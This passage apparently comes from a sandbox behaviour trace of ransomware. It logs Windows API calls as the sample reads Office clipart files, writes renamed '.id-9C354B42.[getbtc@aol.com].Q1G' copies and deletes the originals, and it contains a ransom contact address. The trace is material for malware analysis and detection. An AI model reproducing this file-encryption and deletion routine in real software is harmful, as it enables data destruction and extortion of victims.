lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.089] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.089] lstrlenW (lpString="BD07831_.WMF") returned 12 [0242.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.090] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4066) returned 1 [0242.090] CloseHandle (hObject=0x398) returned 1 [0242.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0242.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.090] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.090] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0242.091] GetLastError () returned 0x0 [0242.091] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xfe2, lpOverlapped=0x0) returned 1 [0242.101] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xff0, lpOverlapped=0x0) returned 1 [0242.102] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.102] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.102] SetEndOfFile (hFile=0x394) returned 1 [0242.102] CloseHandle (hObject=0x394) returned 1 [0242.102] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.102] SetEndOfFile (hFile=0x398) returned 1 [0242.105] CloseHandle (hObject=0x398) returned 1 [0242.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0242.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.106] lstrlenW (lpString=".doc") returned 4 [0242.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.106] lstrlenW (lpString=".docx") returned 5 [0242.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.106] lstrlenW (lpString=".pdf") returned 4 [0242.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.107] lstrlenW (lpString=".xls") returned 4 [0242.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.107] lstrlenW (lpString=".xlsx") returned 5 [0242.107] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.107] lstrlenW (lpString=".ppt") returned 4 [0242.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.107] lstrlenW (lpString=".zip") returned 4 [0242.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.107] lstrlenW (lpString=".rar") returned 4 [0242.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.107] lstrlenW (lpString=".bz2") returned 4 [0242.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.107] lstrlenW (lpString=".7z") returned 3 [0242.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.107] lstrlenW (lpString=".dbf") returned 4 [0242.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.107] lstrlenW (lpString=".1cd") returned 4 [0242.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.107] lstrlenW (lpString=".jpg") returned 4 [0242.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.107] lstrlenW (lpString=".doc") returned 4 [0242.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.107] lstrlenW (lpString=".docx") returned 5 [0242.107] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.107] lstrlenW (lpString=".pdf") returned 4 [0242.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.107] lstrlenW (lpString=".xls") returned 4 [0242.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.107] lstrlenW (lpString=".xlsx") returned 5 [0242.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.108] lstrlenW (lpString=".ppt") returned 4 [0242.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.108] lstrlenW (lpString=".zip") returned 4 [0242.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.108] lstrlenW (lpString=".rar") returned 4 [0242.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.108] lstrlenW (lpString=".bz2") returned 4 [0242.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.108] lstrlenW (lpString=".7z") returned 3 [0242.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.108] lstrlenW (lpString=".dbf") returned 4 [0242.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.108] lstrlenW (lpString=".1cd") returned 4 [0242.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0242.108] lstrlenW (lpString=".jpg") returned 4 [0242.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.108] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.108] lstrlenW (lpString="BD08758_.WMF") returned 12 [0242.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.109] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=24320) returned 1 [0242.202] CloseHandle (hObject=0x398) returned 1 [0242.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0242.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0242.814] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.814] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.880] GetLastError () returned 0x0 [0242.880] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x5f00, lpOverlapped=0x0) returned 1 [0242.955] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0242.956] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.956] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.957] SetEndOfFile (hFile=0x204) returned 1 [0242.962] CloseHandle (hObject=0x204) returned 1 [0242.963] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.963] SetEndOfFile (hFile=0x3a4) returned 1 [0242.971] CloseHandle (hObject=0x3a4) returned 1 [0242.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0243.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.006] lstrlenW (lpString=".doc") returned 4 [0243.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.006] lstrlenW (lpString=".docx") returned 5 [0243.006] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.006] lstrlenW (lpString=".pdf") returned 4 [0243.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.006] lstrlenW (lpString=".xls") returned 4 [0243.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.006] lstrlenW (lpString=".xlsx") returned 5 [0243.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.007] lstrlenW (lpString=".ppt") returned 4 [0243.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.007] lstrlenW (lpString=".zip") returned 4 [0243.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.007] lstrlenW (lpString=".rar") returned 4 [0243.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.007] lstrlenW (lpString=".bz2") returned 4 [0243.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.007] lstrlenW (lpString=".7z") returned 3 [0243.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.007] lstrlenW (lpString=".dbf") returned 4 [0243.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.007] lstrlenW (lpString=".1cd") returned 4 [0243.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.007] lstrlenW (lpString=".jpg") returned 4 [0243.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.008] lstrlenW (lpString=".doc") returned 4 [0243.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.008] lstrlenW (lpString=".docx") returned 5 [0243.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.008] lstrlenW (lpString=".pdf") returned 4 [0243.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.008] lstrlenW (lpString=".xls") returned 4 [0243.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.008] lstrlenW (lpString=".xlsx") returned 5 [0243.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.008] lstrlenW (lpString=".ppt") returned 4 [0243.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.008] lstrlenW (lpString=".zip") returned 4 [0243.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.008] lstrlenW (lpString=".rar") returned 4 [0243.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.008] lstrlenW (lpString=".bz2") returned 4 [0243.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.008] lstrlenW (lpString=".7z") returned 3 [0243.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.008] lstrlenW (lpString=".dbf") returned 4 [0243.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.008] lstrlenW (lpString=".1cd") returned 4 [0243.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0243.009] lstrlenW (lpString=".jpg") returned 4 [0243.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.009] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.009] lstrlenW (lpString="BD09662_.WMF") returned 12 [0243.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.009] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=20554) returned 1 [0243.009] CloseHandle (hObject=0x388) returned 1 [0243.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0243.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.010] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.010] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0243.010] GetLastError () returned 0x0 [0243.010] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x504a, lpOverlapped=0x0) returned 1 [0243.031] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x5050, lpOverlapped=0x0) returned 1 [0243.032] ReadFile (in: hFile=0x388, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.032] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.032] SetEndOfFile (hFile=0x390) returned 1 [0243.098] CloseHandle (hObject=0x390) returned 1 [0243.112] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.131] SetEndOfFile (hFile=0x388) returned 1 [0243.133] CloseHandle (hObject=0x388) returned 1 [0243.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0243.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.134] lstrlenW (lpString=".doc") returned 4 [0243.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.134] lstrlenW (lpString=".docx") returned 5 [0243.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.134] lstrlenW (lpString=".pdf") returned 4 [0243.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.134] lstrlenW (lpString=".xls") returned 4 [0243.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.134] lstrlenW (lpString=".xlsx") returned 5 [0243.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.134] lstrlenW (lpString=".ppt") returned 4 [0243.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.134] lstrlenW (lpString=".zip") returned 4 [0243.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.134] lstrlenW (lpString=".rar") returned 4 [0243.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.134] lstrlenW (lpString=".bz2") returned 4 [0243.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.134] lstrlenW (lpString=".7z") returned 3 [0243.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.134] lstrlenW (lpString=".dbf") returned 4 [0243.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.134] lstrlenW (lpString=".1cd") returned 4 [0243.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.135] lstrlenW (lpString=".jpg") returned 4 [0243.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.135] lstrlenW (lpString=".doc") returned 4 [0243.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.135] lstrlenW (lpString=".docx") returned 5 [0243.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.135] lstrlenW (lpString=".pdf") returned 4 [0243.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.135] lstrlenW (lpString=".xls") returned 4 [0243.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.135] lstrlenW (lpString=".xlsx") returned 5 [0243.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.135] lstrlenW (lpString=".ppt") returned 4 [0243.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.135] lstrlenW (lpString=".zip") returned 4 [0243.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.135] lstrlenW (lpString=".rar") returned 4 [0243.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.135] lstrlenW (lpString=".bz2") returned 4 [0243.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.135] lstrlenW (lpString=".7z") returned 3 [0243.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.135] lstrlenW (lpString=".dbf") returned 4 [0243.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.135] lstrlenW (lpString=".1cd") returned 4 [0243.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0243.135] lstrlenW (lpString=".jpg") returned 4 [0243.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.136] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0243.136] lstrlenW (lpString="BD19563_.GIF") returned 12 [0243.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.136] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=20454) returned 1 [0243.136] CloseHandle (hObject=0x388) returned 1 [0243.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" 